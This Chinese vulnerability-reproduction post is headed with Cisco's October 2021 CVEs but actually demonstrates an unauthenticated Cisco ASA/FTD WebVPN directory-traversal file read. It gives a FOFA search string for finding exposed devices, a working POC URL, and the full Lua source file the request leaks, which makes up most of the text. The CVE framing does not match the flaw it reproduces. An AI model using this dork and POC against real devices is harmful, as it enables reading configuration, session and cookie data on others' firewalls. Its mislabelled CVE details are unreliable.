CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞

简介: CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞

漏洞复现

漏洞概述

2021年10月27日,Cisco发布安全公告,修复了Cisco Firepower 威胁防御 (FTD)、Cisco思科自适应安全设备 (ASA)和Firepower 管理中心 (FMC)中的多个安全漏洞。

CISCO ASA远程任意文件读取

Cisco Adaptive Security Appliance (ASA)是思科的一种防火墙设备。

Cisco Adaptive Security Appliance (ASA)防火墙设备以及Cisco Firepower Threat   Defense(FTD)设备的web管理界面存在未授权的目录穿越漏洞和远程任意文件读取漏洞。攻击者只能查看web目录下的文件,无法通过该漏洞访问web目录之外的文件。该漏洞可以查看webVpn设备的配置信息,cookies等。

影响版本

Cisco ASA 设备影响版本:

<9.6.1
9.6 < 9.6.4.42
9.71
9.8 < 9.8.4.20
9.9 < 9.9.2.74
9.10 < 9.10.1.42
9.12 < 9.12.3.12
9.13 < 9.13.1.10
9.14 < 9.14.1.10

Cisco FTD设备影响版本:

6.2.2
6.2.3 < 6.2.3.16
6.3.0 < Migrate to 6.4.0.9 + Hot Fix or to 6.6.0.1
6.4.0 < 6.4.0.9 + Hot Fix
6.5.0 < Migrate to 6.6.0.1 or 6.5.0.4 + Hot Fix (August 2020)
6.6.0 < 6.6.0.1

漏洞复现

FOFA语法

“webVpn”

image.png

POC

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

image.png

image.png

-- Copyright (C) 2006-2014 by Cisco Systems, Inc.
-- Created by otrizna@cisco.com
ADD_HTTP_RESP_HEADER("X-Frame-Options", "SAMEORIGIN");
dofile("/+CSCOE+/include/common.lua")
dofile("/+CSCOE+/include/browser_inc.lua")
local function compare(a,b) return a["order"]<b["order"] end;
function INTERNAL_PASSWORD_ENABLED(name)
        return false;
end
function CONF_VIRTUAL_KEYBOARD(name)
        return false;
end
no_inheritance = false
custom_profile=""
asdm_custom_file = ""
function SetSessionData(index,name,value)
   local f1
   f1=io.open("/sessions/"..index.."/session_data","w")
   if f1 then
  io.set_metadata_int(f1,name,value)
  f1:close()
   end  
end
function GetSessionData(index,name,value)
   local f1
   f1=io.open("/sessions/"..index.."/session_data","r")
   if f1 then
  local ret = io.get_metadata_int(f1,name)
  f1:close()
  return ret
   end
   return nil 
end
function xValue(value)
   if value then
      local ret = string.gsub(value,"\"","&quot;")
      OUT(" value=\""..ret.."\"")
   end
end
function sHTML(value)
   if value then
      ret = string.gsub(value,"&","&amp;")
      ret = string.gsub(ret,"<","&lt;")
      ret = string.gsub(ret,">","&gt;")
      return ret
   end
   return nil
end
function explode(str,delim)
   local ret={}
   for val in string.gfind(str,"[^"..delim.."]+") do
      table.insert(ret, val)
   end
   return ret
end
function GetUrlLists()
   local url_list_name
   local url_lists = {}
   local url_lists_str = SESSION_URL_LISTS()
   for url_list_name in string.gfind(url_lists_str,"[^,]+") do
      table.insert(url_lists, url_list_name)
   end
   return url_lists
end
function socket_url_parse(url, default)
    -- initialize default parameters
    local parsed = {}
    for i,v in pairs(default or parsed) do parsed[i] = v end
    -- empty url is parsed to nil
    if not url or url == "" then return nil, "invalid url" end
    -- remove whitespace
    -- url = string.gsub(url, "%s", "")
    -- get fragment
--[[
    url = string.gsub(url, "#(.*)$", function(f)
        parsed.fragment = f
        return ""
    end)
--]]
    -- get scheme
    url = string.gsub(url, "^([%w][%w%+%-%.]*)%:",
        function(s) parsed.scheme = s; return "" end)
    -- get authority
    url = string.gsub(url, "^//([^/%?]*)", function(n)
        parsed.authority = n
        return ""
    end)
    -- get query stringing
    url = string.gsub(url, "%?(.*)", function(q)
        parsed.query = q
        return ""
    end)
    -- get params
    url = string.gsub(url, "%;(.*)", function(p)
        parsed.params = p
        return ""
    end)
    -- path is whatever was left
    if url ~= "" then parsed.path = url end
    local authority = parsed.authority
    if not authority then return parsed end
    authority = string.gsub(authority,"^([^@]*)@",
        function(u) parsed.userinfo = u; return "" end)
    local ipv6 = false
    if(string.sub(authority,1,1) == "[") then
       authority = string.gsub(authority,"^%[(.-)%]",
                               function(u) parsed.host = u; ipv6 = true; return "" end)
    end
    authority = string.gsub(authority, ":([^:]*)$",
        function(p) parsed.port = p; return "" end)
    if authority ~= "" and not ipv6 then parsed.host = authority end
    local userinfo = parsed.userinfo
    if not userinfo then return parsed end
    userinfo = string.gsub(userinfo, ":([^:]*)$",
        function(p) parsed.password = p; return "" end)
    parsed.user = userinfo
    return parsed
end
function ParseURL(url)
   local durl = {
    url = "",
    scheme = "",
    authority = "",
    path = "",
    params = "",
    query = "",
    fragment = "",
    userinfo = "",
    host = "",
    port = "",
    user = "",
    password = ""
  }
  local nurl = socket_url_parse(url, durl)
  return nurl.scheme,nurl.host,nurl.port,nurl.path .. (((nurl.query or "") ~= ""  and ("?"..nurl.query)) or "")
end
function GetAppInfo(apps)
   local protocol={}
   local app_info={}
   for _,app in apps do
      app_info[app["id"]] = app
      if nil ~= app["protocol"] and app["mode"] ~= "disable" then
         for p in string.gfind(app["protocol"] or "","[%w]+") do
            protocol[p]=app["id"]
         end
      end
   end
   return app_info,protocol   
end
function GetLogonFields()
    local  fields= {{id="group",name="Group",order=100},
                    {id="username",name="Username",order=200},
                    {id="password",name="Password",order=300},
                    {id="internal-password", name="Internal Password",order=400},
                    {id="secondary-username", name="Second Username",order=500},
                    {id="secondary-password", name="Second Password",order=600}}
    for i,fld in ipairs(fields) do
        local order = CUSTOM("auth-page/form-order/"..fields[i]["id"])
        if  fld["id"]=="internal-password" and 
            (not order or order == "") and
            CUSTOM("auth-page/logon-form/internal-password-first") == "yes" then
                order = 250 -- backward compatibility with the old customization setting 
        end
        if (order and order ~= "") then fld["order"]=tonumber(order) end
    end
    table.sort(fields,function (a,b) return a["order"] < b["order"] end)
    return fields
end
function LOAD_URL_LIST(name,absolute_path,bookmark_number)
   local f
   local ret={}
   local sso_enabled=0;
   local name_md5 = MD5(name) 
   if absolute_path and "" ~= absolute_path then
      f=io.open(absolute_path,"r")
   else
      f=io.open("/bookmarks/"..name_md5,"r")
   end
   if not f then return {} end
   local function get_value(value)
      if not value then return nil end
      if string.len(value) == 0 then return "" end
      return string.sub(value,2) 
   end
   local path = "/url-list/"
   local function lget_value(textdomain,value)
      if nil == value then return nil end
      if string.len(value) == 0 then return "" end
      if string.sub(value,1,1) == '+' then
         if string.len(value) > 1 then
            return gettext.dgettext(textdomain,string.sub(value,2))
         else
            return ""
         end
      else
         return string.sub(value,2) 
      end
   end
   ret["list"]      = name_md5  
   ret["title"]     = lget_value("url-list",io.get_metadata_str(f,path.."title"))
   ret["favorite"]  = get_value(io.get_metadata_str(f,path.."favorite"));
   ret["bookmark"]={}
   local i = bookmark_number or 1
   while true do
      local path = "/url-list/bookmark/"..i.."/"
      local url = get_value(io.get_metadata_str(f,path.."url"));
      if nil ~= url then
         ret["bookmark"][i]={}
         ret["bookmark"][i]["n"]=i
         ret["bookmark"][i]["list"] = name_md5   
         ret["bookmark"][i]["id"] = get_value(io.get_metadata_str(f,path.."id"))
         ret["bookmark"][i]["favorite"] = get_value(io.get_metadata_str(f,path.."favorite"))
         ret["bookmark"][i]["title"]       = lget_value("url-list",io.get_metadata_str(f,path.."title"))
         ret["bookmark"][i]["method"]    = get_value(io.get_metadata_str(f,path.."method"))
         ret["bookmark"][i]["subtitle"]  = lget_value("url-list",io.get_metadata_str(f,path.."subtitle"))
         ret["bookmark"][i]["thumbnail"] = lget_value("url-list",io.get_metadata_str(f,path.."thumbnail"))
         ret["bookmark"][i]["smart-tunnel"] = get_value(io.get_metadata_str(f,path.."smart-tunnel"))
         ret["bookmark"][i]["window"] = get_value(io.get_metadata_str(f,path.."window"))
         ret["bookmark"][i]["wait-time"] = get_value(io.get_metadata_str(f,path.."wait-time"))
         ret["bookmark"][i]["preload-page-url"] = get_value(io.get_metadata_str(f,path.."preload-page-url"))
         ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
         ret["bookmark"][i]["control-id"]         = get_value(io.get_metadata_str(f,path.."control-id"))
         ret["bookmark"][i]["before-post-script"] = get_value(io.get_metadata_str(f,path.."before-post-script"))
         -- injected form submit 
         ret["bookmark"][i]["injected-form-submit"] = get_value(io.get_metadata_str(f,path.."injected-form-submit"))
         ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
         ret["bookmark"][i]["control-id"] = get_value(io.get_metadata_str(f,path.."control-id"))
         ret["bookmark"][i]["login-page-url"] = get_value(io.get_metadata_str(f,path.."login-page-url"))
         ret["bookmark"][i]["landing-page-url"] = get_value(io.get_metadata_str(f,path.."landing-page-url"))
         ret["bookmark"][i]["form-id"] = get_value(io.get_metadata_str(f,path.."form-id"))
         ret["bookmark"][i]["post-param"] = {}
         url = get_value(io.get_metadata_str(f,path.."url"))
         url = substitute_macro(url,false)
         -- Normalize CIFS URLs (cifs://\\host/...)
         if(string.sub(url,1,9)=="cifs://\\\\") then 
            url="cifs://"..(string.sub(url,10) or "") 
            url=string.gsub(url,"\\","/")
         end
         ret["bookmark"][i]["url"] = url
         if string.find(ret["bookmark"][i]["url"], "csco_sso=1")   then
            sso_enabled=1;
         end
         local j=1
         while true do
            local path = "/url-list/bookmark/"..i.."/post-param/"..j.."/"
            local name = get_value(io.get_metadata_str(f,path.."name"))
            if nil ~= name then
               ret["bookmark"][i]["post-param"][j]={}
               ret["bookmark"][i]["post-param"][j]["name"]  = get_value(io.get_metadata_str(f,path.."name"))
               ret["bookmark"][i]["post-param"][j]["value"] = get_value(io.get_metadata_str(f,path.."value"))
            else
               break
            end
            j=j+1
         end
      else
         break
      end
      -- if loading just one bookmark from the list 
      if bookmark_number then
  break
      end 
      i=i+1
   end
   f:close()
   local sso = io.open("sessions/"..SESSION_INDEX().."/sso","w")
   if sso then
      if 1 == sso_enabled then
         -- allow sso call
         io.set_metadata_str(sso, "allowed", "yes")
      end
      sso:close()
   end
   return ret
end
function  post_params2js_array(bookmark)
   return "[{ 'l' : '"..(bookmark["list"] or "").."', 'n' : "..(bookmark["n"] or "0").."}]"
--[[
   local post_params="null"
   if table.getn(bookmark["post-param"])>0 then
      post_params = "[" 
      for i,prm in bookmark["post-param"] do
         local name
         name = string.gsub(prm["name"],"'","\\'") or "";
         name = string.gsub(name,"\\","\\\\") or "";
         local value 
         value = string.gsub(prm["value"],"'","\\'") or "";
         value = string.gsub(value,"\\","\\\\") or "";
         post_params = post_params ..(((i>1) and ",") or "" ) .. "{name : '"..name.."', value : '"..value.."'}"
      end
      post_params = post_params.."]"
   end
   return post_params
--]]
end
function show_bookmarks()
end
function BookmarkApplyACL(bookmark,proto,host,port,path,defports,otherports)
     if (port ~= nil and port ~= "") then
          bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,port,path);
     else
          --check default port
          if (defports[proto]) then
               bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,defports[proto],path);
          end
          --check other ports, if there are any
          if (otherports[proto]) then
               local i, p = next(otherports[proto])
               while (i and bookmark["enabled"]) do
                    bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,p,path)
                    i, p = next(otherports[proto], i)
               end
          end
     end
end
function BookmarkApplySupportCheck(bookmark)
    if (bookmark["method"] == "post" and bookmark["smart-tunnel"] == "yes" and browser_info.os ~= "Windows") then
      bookmark["support_error"] = 1
      bookmark["enabled"] = false
    end
end
function GROUP_SELECTOR_ENABLED()
        return true;
end
function print_tree(s,d)
   if(nil == d) then d = 0 end
   if(nil == s) then OUT("nil");return end
   for k,v in s do
      OUT(string.rep("&nbsp;",d*5)); OUT(k);
      if(type(v)=="table") then
         OUT("<BR>");
         print_tree(v,d+1)
      else
         if(type(v)=="boolean") then
            if v then OUT( "#true") else OUT(" #false") end
            OUT("<br>")
         else 
            if(type(v)=="function") then
               OUT("= (function)<br>")
            else
               OUT("="..v.."<BR>");
            end
         end
      end
   end
end
function mangle_url(str)
   local s,e,p
   local path;
   if nil == str then return "/+CSCOE+/blank.html" end
   s, e = string.find(str,"http[s]?://([^/?]+)")
   if(s ~= nil) then
      p = ((string.sub(str,e+1,e+1) == "/") and e+1 ) or e
      path = string.sub(str,p+1);
      return '/+CSCO+00'..ROT13STR2HEX(string.sub(str,1,e))..'++/'..path;
   end
end
function get_applications(no_session_check)
--
-- This function may be used in context where there is no webvpn session (for example Customization Editor)
-- Use if(not no_session_check) in places where you retrieve session data 
--
   local c_app = {};
   local n1 = 0
   local n2 = 0
   local i = 0;
   local lang
   if is_asdm then
      lang = "en"
   else
      lang = get_selected_language()
   end
   -- Stock applications 
   local app = {}
   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("Home")
   app[i]["id"] = "home"
   app[i]["order"] = i*1000
   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("Web Access")
   app[i]["id"] = "web-access"
   app[i]["protocol"] = "http,https"
   app[i]["default-port"] = "80,443"
   app[i]["url-list-title"] = L("Web Bookmarks")
   app[i]["order"] = i*1000
   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("File Access")
   app[i]["id"] = "file-access"
   app[i]["protocol"] = "cifs,ftp"
   app[i]["default-port"] = "138,21"
   app[i]["other-port"] = {cifs = {"139"}}
   app[i]["url-list-title"] = L("File Bookmarks")
   app[i]["order"] = i*1000
   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("Application Access")
   app[i]["id"] = "app-access"
   app[i]["url-list-title"] = L("File Bookmarks")
   app[i]["order"] = i*1000
   i=i+1
   app[i]={}
   app[i]["tab-title"] = L("AnyConnect")
   app[i]["id"] = "net-access"
   app[i]["order"] = i*1000
   if IS_TARGET_UNICORN then
      i=i+1
      app[i]={}
      app[i]["tab-title"] = L("Terminal Servers")
      app[i]["id"] = "rdp"
      app[i]["order"] = i*1000
      app[i]["protocol"] = "rdp"
      app[i]["default-port"] = "800"
      app[i]["type"] = "1"
   end
    -- Plugins 
   local a = lfs.attributes("/plugin")
   if a and  a.mode == "directory" then
      for fname in lfs.dir ("/plugin") do
         if fname ~= "." and fname ~= ".." then
            local f=io.open("/plugin/"..fname.."/index.html","r")
            if f then
               i=i+1
               app[i]={}
               app[i]["tab-title"] = io.get_metadata_str(f,"tab-title")
               app[i]["url-list-title"] = io.get_metadata_str(f,"bookmark-title")
               if lang and  lang ~= "en" and lang ~= "en-us"  then
                  app[i]["tab-title"] = io.get_metadata_str(f,lang..":tab-title") or app[i]["tab-title"] 
                  app[i]["url-list-title"] = io.get_metadata_str(f,lang..":bookmark-title") or app[i]["url-list-title"]
               end
               app[i]["id"] = io.get_metadata_str(f,"id")
               app[i]["protocol"] = io.get_metadata_str(f,"protocol")
         -- TODO  facilitate default port from plugin's manifest
         local p_protocol = {}
         for s in string.gfind(app[i]["protocol"],"[%w]+") do
      table.insert(p_protocol,"0")
         end
         app[i]["default-port"] = table.concat(p_protocol,",")
               app[i]["type"] = "1"
               app[i]["order"] = i*1000
               f:close()
            end
         end
      end
   end
   c_app = CUSTOM_OBJECTS("/custom/portal/application",{{"id",false},{"order",false},{"tab-title",true},{"url-list-title",true},{"mode",false}})
   n1= table.getn(c_app);
   n2= table.getn(app);
   for i1 = 1,n1,1 do
      for i2 = 1,n2,1 do
         if(app[i2]["id"] == c_app[i1]["id"]) then 
            if(nil ~= c_app[i1]["order"]) then app[i2]["order"] = tonumber(c_app[i1]["order"]); end; 
            if(nil ~= c_app[i1]["tab-title"]) then app[i2]["tab-title"] = c_app[i1]["tab-title"]; end;
            if(nil ~= c_app[i1]["mode"]) then app[i2]["mode"] = c_app[i1]["mode"]; end; 
            if(nil ~= c_app[i1]["url-list-title"]) then app[i2]["url-list-title"] = c_app[i1]["url-list-title"]; end; 
         end;
      end;
   end; 
   if not no_session_check then 
       local ua = HTTP_HEADER_BY_NAME('user-agent')
       local stapps = ""
       if (ua and string.find (ua, "Macintosh")) then
          stapps = SESSION_GET_SMART_TUNNELED_APPS("mac")
--[[
       elseif (ua and string.find (ua, "Linux")) then
          stapps = SESSION_GET_SMART_TUNNELED_APPS("linux")
--]]
       elseif (ua) then
          stapps = SESSION_GET_SMART_TUNNELED_APPS("windows")
       end
       local no_smart_tunnel = stapps == ""
      for i2 = 1,n2,1 do
         if (app[i2]["id"] == "net-access" and not (SESSION_ANYCONNECT_ENABLED() and SESSION_ANYCONNECT_CONFIGURED())) or (app[i2]["id"] == "app-access" and not (SESSION_FEATURE_ENABLED("port-forwarding")) and no_smart_tunnel) then
            app[i2]["mode"] = "disable"
         end
      end
   end
   table.sort(app,compare);
   return app;
end;
function GetColumns()
   local cols = CUSTOM_OBJECTS("/custom/portal/column",{{"width",false,"percent"},{"order",false,nil,"0"}})
   local function s(a,b)
      return tonumber(a["order"])<tonumber(b["order"]) 
   end
   if table.getn(cols) == 0 then
      return {{width="100",order="0",pane={}}}
   end
   table.sort(cols,s)
   for _,col in cols do
      col["pane"]={}
   end
   return cols
end
function CUSTOM_OBJECTS(path,fields)
   local f
   local ret
   id = fields[1][1]
   local first_item = path.."/1/"..id
   if "" ~= asdm_custom_file then
      f=io.open(asdm_custom_file,"r")
   else
      f=io.open("/customization/"..MD5(custom_profile),"r")
   end
   if nil == f then return {} end
   ret = {}
   for i=1,10000,1 do
      ptype = io.get_metadata_str(f,path.."/"..i.."/"..id)
      if nil == ptype then break end
      ret[i]= {}
      for _,fname in fields do
         local name = fname[1]
         local can_localize = fname[2]
         local type = fname[3]
         local def_value = fname[4]
         ret[i][name] = io.get_metadata_str(f,path.."/"..i.."/"..name)
         if  ret[i][name] and string.len(ret[i][name]) > 1 then
            if type  then
               if type == "number" then
                  ret[i][name] = tonumber(string.sub(ret[i][name],2))
               end
               if type == "percent" then
                  ret[i][name] = string.gsub(ret[i][name],"%%"," ")
                  ret[i][name] = tonumber(string.sub(ret[i][name],2)) or 0
               end
            else   
               local localize = string.sub(ret[i][name],1,1)
               if localize == "+" and can_localize then
                  ret[i][name] =  gettext.dgettext("customization",string.sub(ret[i][name],2))
               else
                  ret[i][name] = string.sub(ret[i][name],2)
               end
            end
         else
            ret[i][name] = def_value
         end
      end
   end
   f:close()
   return ret
end
function CUSTOM(param,default,localize)
   local f;
   local function file_name()
      if "" ~= asdm_custom_file then
         return(asdm_custom_file)
      else
         return "/customization/"..MD5(custom_profile)
      end
   end
   f=io.open(file_name(),"r")
   if not f then return default end
   local s = io.get_metadata_str(f,"/custom/"..param);
   f:close()
   if s and string.len(s)>1 then
      local localize = string.sub(s,1,1)
      if localize == "-" then
         return string.sub(s,2)
      else
         return gettext.dgettext("customization",string.sub(s,2))
      end      
   end
   if nil == default then default = "" end
   return default
end
function CheckAlerts()
   local reason = 0 
   local user_alert = SESSION_USER_ALERT()
   local idle_alert_time = SESSION_IDLE_ALERT_INTERVAL() * 60
   local end_alert_time = SESSION_END_ALERT_INTERVAL() * 60
   local max_connect_time = SESSION_MAX_CONNECT_TIME()
   tin = max_connect_time -(SESSION_TIME() - SESSION_LOGIN_TIME()) 
   if end_alert_time > 0 and max_connect_time ~=0 and tin <= end_alert_time + 5 then
      reason=1
   else
      tin = SESSION_MAX_IDLE_TIME() - SESSION_IDLE_TIME()
      if idle_alert_time > 0 and tin <= idle_alert_time + 5 then
         reason = 2
      end
   end
   if reason == 0 and (not user_alert or user_alert=="" ) then return false end
   return true
end
function FileURL(url)
   return "javascript: parent.doURL('"..ROT13STR2HEX(clean_escape(url)).."','','',false,'', false)";
end
function GetPostParams()
   local s
   local state = 10
   local params = {}
   local name=nil
   while nil~=state do
      s,state = HTTP_READ_URL_ENCODED_BODY(state)
      if state == 10 then
         params[name]=HTTP_URL_DECODE(s,1)
      elseif state==15 then
         name = HTTP_URL_DECODE(s,1)
         params[name]=""
         name=nil
      elseif state==20 then
         name = HTTP_URL_DECODE(s,1)
         params[name]=""
      elseif state==30 then
         if nil == name then
            params[HTTP_URL_DECODE(s,1)]=""
         else
            params[name]=HTTP_URL_DECODE(s,1)
         end
         break;
      end
   end
   return params
end
function UpdateAsdmSession(cookie)
   if not IS_TARGET_UNICORN then
      local f=io.open('asdm/'..cookie, "a+")
      if f ~= nil then
         f:close()
         return true;
      end
   end
end
function CheckAsdmSession(cookie, no_redirect)
   -- remove expired
   local diff
   TRACE_CUSTOM("ASDM Cookie = "..(cookie or ""),10)
   pcall(function()
            for file in lfs.dir("asdm") do
               if file ~= "." and file ~= ".." then
                  local f = 'asdm/'..file
                  local attr = lfs.attributes (f)
                  assert (type(attr) == "table")
                  diff = (SESSION_TIME() - attr["modification"])
                  if diff > 360000 then
                     os.remove(f)
                  end
               end
            end
         end)
   local f=io.open('asdm/'..cookie, "r")
   if f ~= nil then
      f:close()
      return true;
   end
   if not no_redirect then
      OUT("<script>top.close(); top.location.replace('/+CSCOE+/blank.html')</script>")
   end   
   TRACE_CUSTOM("Wrong ASDM cookie = "..(cookie or "").."\n",1)
   return false,diff
end
function GetDefaultPorts(applications)
   local ret={}
   local extra={}
   for _,ap in applications do
      local protocol={}
      local ports={}
      if ap["protocol"] then
         for s in string.gfind(ap["protocol"],"[%w]+") do
            table.insert(protocol,s)
         end
         if ap["default-port"] then
            for s in string.gfind(ap["default-port"],"[%w]+") do
               table.insert(ports,s)
            end
         end
         for i,v in protocol do
            ret[v]=ports[i]
            if ap["other-port"] then
                extra[v]=ap["other-port"][v]
            end
         end
      end
   end
   return ret,extra
end
function GetRGB(a)
   local r = tostring(tonumber(string.sub(a, 2, 3), 16))
   local g = tostring(tonumber(string.sub(a, 4, 5), 16))
   local b = tostring(tonumber(string.sub(a, 6, 7), 16))
   return r,g,b
end
function gui_title_style(page)
   local title_style = CUSTOM(page.."/title-panel/style","")
   local ret = ""
   if title_style ~= "" then
      ret =  "."..page.."-title {"..title_style.."}" 
   else
      local bgc = CUSTOM(page.."/title-panel/background-color","#2b76ad")
      local color = CUSTOM(page.."/title-panel/font-color","#ffffff")
      local font_size = CUSTOM(page.."/title-panel/font-size","")
      local font_weight = CUSTOM(page.."/title-panel/font-weight","")
      local gradient = CUSTOM(page.."/title-panel/gradient","no")
      local gr=""
      if gradient=="yes" then
         local r,g,b = GetRGB(bgc)
         gr="background-image:url('/+CSCOU+/gradient.gif?r="..r.."&g="..g.."&b="..b.."');"
      else
         gr="background-color:"..bgc..";"
      end
      ret = ret .. "."..page.."-title {" 
      ret = ret .. ((color ~="" and "color:"..color..";") or "")
      ret = ret .. ((font_size ~="" and "font-size:"..font_size..";") or "") 
      ret = ret .. ((font_weight ~="" and "font-weight:"..font_weight..";") or "")
      ret = ret .. gr
      ret = ret .. "}\n"
   end
   if page=="auth-page" then
      local bgc = CUSTOM(page.."/logon-form/title-background-color","")
      local color = CUSTOM(page.."/logon-form/title-font-color","")
      ret = ret .. "."..page.."-form-title {" 
      ret = ret .. ((bgc ~="" and "background-color:"..bgc..";") or "") 
      ret = ret .. ((color ~="" and "color:"..color..";") or "")
      ret = ret .. "}\n"
   end
   return ret
end
function get_persistant_setting(key)
local ret=""
local f=io.open("/sessions/"..SESSION_INDEX().."/key-value","r")
    if(nil ~= f) then
        ret = io.get_metadata_str(f, key)
        if(nil == ret) then
            ret=""
        end
        f:close()
    end
    return ret
 end
function set_persistant_setting(key,value)
local ret=""
local f=io.open("/sessions/"..SESSION_INDEX().."/key-value","w")
    if(nil ~= f) then
        io.set_metadata_str(f, key, value)
        f:close()
    end
end
function ExtractLuaErrorString(s)
   local b,e
   if s then
      b,e = string.find(s,":[0-9]+:")
      while b do 
         s = string.sub(s,e+1)
         b,e = string.find(s,":[0-9]+:")
      end
   end
   return s
end
function reset_cookies_on_logout ()
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpn="..( (IS_TARGET_UNICORN and "99@1111111111@222222222@3333333333; path=/" ) or "; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure"));
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnc=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpn_portal=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
   --CSCtu28428: Remove webvpnSharePoint cookie every time when Logon/Logout procedure executed, it should
   --help us avoid situation when MS PowerPoint uses cookie which had expired webvpn session
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnSharePoint=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
   ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnlogin=1; path=/; secure");
   ADD_HTTP_RESP_HEADER("Set-Cookie","sdesktop=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
end
function SESSION_GET_ONE_TIME_PASSWORD ()
    local session = HTTP_COOKIE_BY_NAME ("webvpn")
    local token = string.format ("%x%x%x%x",get_random(),get_random(),get_random(),get_random())
    local id = get_aware_session_index ()
    local fp = io.open (string.format ("/sessions/%d/%s", id, token),"w")
    if nil ~= fp then
        fp:write (session)
        fp:close ()
        return tostring (id) .. "/" .. token
    else
        return nil
    end
end
function SESSION_GET_ID (token)
    local session = nil
    if nil == token then
        return session;
    end
    local name = "/sessions/" .. token
    local a = lfs.attributes (name)
    if a and a.mode == "file" then
        local fp = io.open (name, "r")
        if nil ~= fp then
            session = fp:read ("*all")
            fp:close ()
            os.remove (name)
        end
    end
    return session
end
function GetGroupCustomization(gr,param,default)
   local custom_profile = CONF_TUNNEL_GROUP_CUSTOM_PROFILE(gr) or "DflCustomization"
   if custom_profile == "" then custom_profile = "DfltCustomization" end
   local file_name = "/customization/"..MD5(custom_profile)
   local f=io.open(file_name,"r")
   if nil == f then return default end
   local s = io.get_metadata_str(f,"/custom/"..param);
   f:close()
   if s and string.len(s)>1 then
      local localize = string.sub(s,1,1)
      if localize == "-" then
         return string.sub(s,2)
      else
         return gettext.dgettext("customization",string.sub(s,2))
      end      
   end
   return default or ""
end
function get_macro_values(substitute_password)
    local macro = {}
    -- otrizna:
    -- CSCO_WEBVPN_MACRO1 and CSCO_WEBVPN_MACRO2 are arbitrary strings from LDAP.
    -- We use it without encoding because we do not know if it is already encoded or not 
    -- The corresponding macro with the _ENCODED postfix should be used to force URL encoding
    local macro_without_encoding = {CSCO_WEBVPN_MACRO1 = true, CSCO_WEBVPN_MACRO2 = true}
    macro["CSCO_WEBVPN_CONNECTION_PROFILE"] = SESSION_TGROUP()
    macro["CSCO_WEBVPN_MACRO1"] = SESSION_MACRO(1)
    macro["CSCO_WEBVPN_MACRO2"] = SESSION_MACRO(2)
    macro["CSCO_WEBVPN_MACRO1_ENCODED"] = macro["CSCO_WEBVPN_MACRO1"]
    macro["CSCO_WEBVPN_MACRO2_ENCODED"] = macro["CSCO_WEBVPN_MACRO2"]
    macro["CSCO_WEBVPN_USERNAME"] = SESSION_USERNAME()
    macro["CSCO_WEBVPN_PRIMARY_USERNAME"] = SESSION_PRIMARY_USERNAME()
    macro["CSCO_WEBVPN_SECONDARY_USERNAME"] = SESSION_SECONDARY_USERNAME()
    if substitute_password then
        macro["CSCO_WEBVPN_PASSWORD"] = SESSION_PASSWORD()
        macro["CSCO_WEBVPN_PRIMARY_PASSWORD"] = SESSION_PRIMARY_PASSWORD()
        macro["CSCO_WEBVPN_SECONDARY_PASSWORD"] = SESSION_SECONDARY_PASSWORD() 
        macro["CSCO_WEBVPN_INTERNAL_PASSWORD"] = SESSION_INTERNAL_PASSWORD()
    end
    return macro, macro_without_encoding
end
function substitute_macro(string_to_expand, substitute_password,is_not_url)
    local macro_values, macro_without_encoding = get_macro_values(substitute_password)
    for macro,value in macro_values do
        local do_not_encode = macro_without_encoding[macro]
        if is_not_url or do_not_encode then
            -- simply substitute the macro if it is not in URL or it does not require encoding
            string_to_expand = string.gsub(string_to_expand,macro,escapegsub(value or ""))
        else
            string_to_expand = string.gsub(string_to_expand,macro,escapegsub((value and socket.url.escape(value)) or ""))
        end
    end
    return string_to_expand
end
function get_external_portal()
    local p = {}
    p["mode"] = CUSTOM("portal/external-portal/mode")
    p["method"] = CUSTOM("portal/external-portal/method")
    p["url"] = CUSTOM("portal/external-portal/url")
    p["preload-page-url"] = CUSTOM("portal/external-portal/preload-page-url")
    p["injected-form-submit"] = CUSTOM("portal/external-portal/injected-form-submit")
    p["pre-login-page-url"] = CUSTOM("portal/external-portal/pre-login-page-url")
    p["control-id"] = CUSTOM("portal/external-portal/control-id")
    p["login-page-url"] = CUSTOM("portal/external-portal/login-page-url")
    p["landing-page-url"] = CUSTOM("portal/external-portal/landing-page-url")
    p["form-id"] = CUSTOM("portal/external-portal/form-id")
    p["smart-tunnel"] = CUSTOM("portal/external-portal/use-smart-tunnel")
    p["wait-time"] = CUSTOM("portal/external-portal/wait-time")
    p["post-param"] = CUSTOM_OBJECTS("/custom/portal/external-portal/post-param",{{"name",""},{"value",""}})
    p["before-post-script"] = CUSTOM("portal/external-portal/before-post-script")
    return p
end
function get_bookmark(list_md5,bookmark_number)
    local p = {}
    local path = "/bookmarks/"..list_md5
    local list = LOAD_URL_LIST(nil,path,bookmark_number)
    return list["bookmark"][bookmark_number]  
end
function output_metatag()
    local ua = HTTP_HEADER_BY_NAME('user-agent')
    if (ua and string.find (ua, "MSIE")) then
       OUT("<meta http-equiv='X-UA-Compatible' content='IE=edge'/>")
    end
end

漏洞详情

在本次修复的高危漏洞中,9个为拒绝服务漏洞,3个为命令注入漏洞,以及1个目录遍历漏洞:

CVE-2021-40116:多个 Cisco 产品 Snort 规则拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34783:思科自适应安全设备软件和 Firepower 威胁防御软件基于软件的 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)

